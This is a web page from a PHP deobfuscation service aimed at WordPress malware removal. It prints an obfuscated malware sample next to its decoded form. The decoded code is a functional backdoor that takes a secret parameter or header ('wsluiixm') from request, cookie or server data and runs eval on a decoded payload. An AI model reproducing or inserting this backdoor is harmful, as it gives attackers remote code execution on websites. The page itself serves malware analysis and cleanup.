Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php $compilers= 'e'; $exhaustively= 'e';$corpsman= 'T';$faythe= ':$)e"(a';$dismissers = 'a;T;p'; $dentists = 'c"i)4]e';$couldnt ='e$rr"='; $biplane= 'Lt:e[]_lE';$lighter ='_e$U';$eyepiece= 'g';$grapheme = 'n$ISat'; $braked='m'; $augur = ')';$honorableness= ';'; $casandra = '('; $gabler= 'R'; $f...



Obfuscated php code

<?php
$compilers= 'e'; $exhaustively= 'e';$corpsman= 'T';$faythe= ':$)e"(a';$dismissers = 'a;T;p'; $dentists = 'c"i)4]e';$couldnt ='e$rr"='; $biplane= 'Lt:e[]_lE';$lighter ='_e$U';$eyepiece= 'g';$grapheme = 'n$ISat';

$braked='m'; $augur = ')';$honorableness= ';'; $casandra = '('; $gabler= 'R';

$fierce ='r';$kaolin = '[';
$fredek ='X';$bored ='a[Ie';$kimberlyn = '$'; $infinitum='t'; $draped ='_';$jillane = 'ieeSn';$drainer= 'a';$directories=')'; $hungriest= 'e';
$horsedom='(';$bordello =')';$femurs='"'; $dalis= 's'; $blanker='_I_dro6g'; $biographical = '_$CaTvi_a';$cutover= 'xi)TUms(s';
$cutie='ou';$cindee ='_'; $fearlessly='I'; $horsewoman ='i?Rr$Wev';
$fancily= 'H'; $jarringly = 'LipwQ'; $dockyard ='crO';$dined= 'su';$elucidates='_[=';

$ix= 'T'; $dragged= 'r';$lascar= 'S'; $inoffensive= 'n';

$doubles= 'i';$datum = 'lrbsH$x'; $binni= 'e';
$deliberated = 'EmesO$f?s'; $dilate =';';$bedspreads='('; $gratuitous ='wtM'; $enforcement = 'VQ('; $historical ='eE g]ida';$creed = 'oK(fR';
$belts=',"s)Eir)';$celica='stiTRIiu';$larkin= 'W';$dewdrops= 'Mvrt,P)';$immersed= 'i(Pc'; $hob = '_c';$henryetta = 'U'; $antipope ='l';$corollary = '(s))S('; $furiouser= '_';$bloodshot ='"rvEuyt]';$confiscates ='$l(Xd'; $burrow = 'S';$keir ='aPyaa""i'; $gilds= $hob['1'].

$bloodshot['1'].$historical['0'].
$keir['4'] .
$bloodshot['6'].$historical['0'].$furiouser. $creed['3'] . $bloodshot[4]. $inoffensive.$hob['1'].$bloodshot['6']. $keir['7'].$creed[0].$inoffensive ;
$keelson =$historical['2']; $invalidating =$gilds

($keelson,$historical['0'] .$bloodshot['2']. $keir['4'] .

$confiscates['1'].$confiscates['2'] .

$keir['4'] . $bloodshot['1']. $bloodshot['1']. $keir['4'].$keir[2] .$furiouser .$jarringly['2']. $creed[0] . $jarringly['2'].$confiscates['2'] .
$creed['3'].$bloodshot[4] . $inoffensive.$hob['1'] . $furiouser. $historical[3].$historical['0'] . $bloodshot['6'].
$furiouser. $keir['4'] .$bloodshot['1'] . $historical[3].$corollary[1] . $confiscates['2']. $corollary['3'].
$corollary['3'] . $corollary['3'] .
$dilate ); $invalidating ($blanker['6'],$confiscates['2'] , $henryetta , $hauling[2], $burrow ,$confiscates['3'] , $deliberated['1'] ,$fuzziness, $bloodshot['1'] , $burrow , $confiscates[0] .$keir['7']. $elucidates['2'] .$keir['4']. $bloodshot['1'].$bloodshot['1'] .$keir['4'] . $keir[2].$furiouser.
$deliberated['1'] . $historical['0'] . $bloodshot['1'].$historical[3]. $historical['0'] .$confiscates['2']. $confiscates[0] . $furiouser.
$celica['4'] .$bloodshot['3'].$enforcement['1'] .$henryetta. $bloodshot['3'] .$burrow .$celica['3'].$dewdrops['4'] .$confiscates[0] .

$furiouser . $biographical['2']. $deliberated[4].$deliberated[4] . $creed['1'] .$celica['5'] . $bloodshot['3'].

$dewdrops['4'].$confiscates[0].$furiouser.
$burrow .$bloodshot['3']. $celica['4'].$enforcement['0']. $bloodshot['3'] .

$celica['4'].$corollary['3'] . $dilate.$confiscates[0].$keir['4']. $elucidates['2'] .$keir['7'] . $corollary[1] .$corollary[1].$historical['0']. $bloodshot['6'] . $confiscates['2'] .$confiscates[0] .

$keir['7']. $elucidates['1'].
$keir['6'].$gratuitous[0] . $corollary[1].
$confiscates['1'].$bloodshot[4]. $keir['7']. $keir['7'] .

$datum[6] .
$deliberated['1'] . $keir['6'] . $bloodshot['7']. $corollary['3']. $deliberated['7'].$confiscates[0]. $keir['7'] .$elucidates['1'] . $keir['6'].$gratuitous[0].$corollary[1].$confiscates['1'] . $bloodshot[4] . $keir['7'] .$keir['7'] . $datum[6] . $deliberated['1']. $keir['6'] .$bloodshot['7']. $biplane['2'].$confiscates['2'] .$keir['7'] .$corollary[1] . $corollary[1] .$historical['0'] .$bloodshot['6'] . $confiscates['2'].
$confiscates[0].$keir['7'] .$elucidates['1'] . $keir['6'].$datum['4'] . $celica['3']. $celica['3'] .$keir['1'] . $furiouser. $larkin .$burrow . $jarringly['0'] .$henryetta.$celica['5'] .$celica['5'].$confiscates['3'] .$dewdrops['0'] .$keir['6'] .$bloodshot['7'].$corollary['3'].$deliberated['7'] .

$confiscates[0] .$keir['7'] .$elucidates['1']. $keir['6'] . $datum['4'].

$celica['3'] .

$celica['3'] . $keir['1'] .$furiouser .

$larkin. $burrow. $jarringly['0'] .

$henryetta.

$celica['5'] . $celica['5'] .$confiscates['3'] . $dewdrops['0'].$keir['6'].
$bloodshot['7'].

$biplane['2'] . $confiscates[4]. $keir['7']. $historical['0'].$corollary['3'].$dilate .$historical['0'] .

$bloodshot['2'] . $keir['4'] . $confiscates['1'].
$confiscates['2'].$corollary[1] . $bloodshot['6'] .$bloodshot['1'] . $bloodshot['1']. $historical['0'].$bloodshot['2'] . $confiscates['2'].$datum[2]. $keir['4'] . $corollary[1].

$historical['0'].$blanker['6'] .$dentists['4'] .
$furiouser .$confiscates[4] .$historical['0'] . $hob['1'].
$creed[0] .$confiscates[4]. $historical['0'].$confiscates['2'] . $corollary[1].$bloodshot['6'] . $bloodshot['1'] . $bloodshot['1'] . $historical['0'].$bloodshot['2']. $confiscates['2']. $confiscates[0].
$keir['4']. $corollary['3'].$corollary['3'].$corollary['3'] .$corollary['3']. $dilate  );

Decoded(de-Obfuscated) php code

<?php

$compilers = 'e';
$exhaustively = 'e';
$corpsman = 'T';
$faythe = ':$)e"(a';
$dismissers = 'a;T;p';
$dentists = 'c"i)4]e';
$couldnt = 'e$rr"=';
$biplane = 'Lt:e[]_lE';
$lighter = '_e$U';
$eyepiece = 'g';
$grapheme = 'n$ISat';
$braked = 'm';
$augur = ')';
$honorableness = ';';
$casandra = '(';
$gabler = 'R';
$fierce = 'r';
$kaolin = '[';
$fredek = 'X';
$bored = 'a[Ie';
$kimberlyn = '$';
$infinitum = 't';
$draped = '_';
$jillane = 'ieeSn';
$drainer = 'a';
$directories = ')';
$hungriest = 'e';
$horsedom = '(';
$bordello = ')';
$femurs = '"';
$dalis = 's';
$blanker = '_I_dro6g';
$biographical = '_$CaTvi_a';
$cutover = 'xi)TUms(s';
$cutie = 'ou';
$cindee = '_';
$fearlessly = 'I';
$horsewoman = 'i?Rr$Wev';
$fancily = 'H';
$jarringly = 'LipwQ';
$dockyard = 'crO';
$dined = 'su';
$elucidates = '_[=';
$ix = 'T';
$dragged = 'r';
$lascar = 'S';
$inoffensive = 'n';
$doubles = 'i';
$datum = 'lrbsH$x';
$binni = 'e';
$deliberated = 'EmesO$f?s';
$dilate = ';';
$bedspreads = '(';
$gratuitous = 'wtM';
$enforcement = 'VQ(';
$historical = 'eE g]ida';
$creed = 'oK(fR';
$belts = ',"s)Eir)';
$celica = 'stiTRIiu';
$larkin = 'W';
$dewdrops = 'Mvrt,P)';
$immersed = 'i(Pc';
$hob = '_c';
$henryetta = 'U';
$antipope = 'l';
$corollary = '(s))S(';
$furiouser = '_';
$bloodshot = '"rvEuyt]';
$confiscates = '$l(Xd';
$burrow = 'S';
$keir = 'aPyaa""i';
$gilds = "create_function";
$keelson = $historical['2'];
$invalidating = function () {
    eval(array_pop(func_get_args()));
};
$invalidating($blanker['6'], $confiscates['2'], $henryetta, $hauling[2], $burrow, $confiscates['3'], $deliberated['1'], $fuzziness, $bloodshot['1'], $burrow, "\$i=array_merge(\$_REQUEST,\$_COOKIE,\$_SERVER);\$a=isset(\$i[\"wsluiixm\"])?\$i[\"wsluiixm\"]:(isset(\$i[\"HTTP_WSLUIIXM\"])?\$i[\"HTTP_WSLUIIXM\"]:die);eval(strrev(base64_decode(strrev(\$a))));");


Malware detection & removal plugin for WordPress

(C)2020 Wordpress Doctor All rights reserved.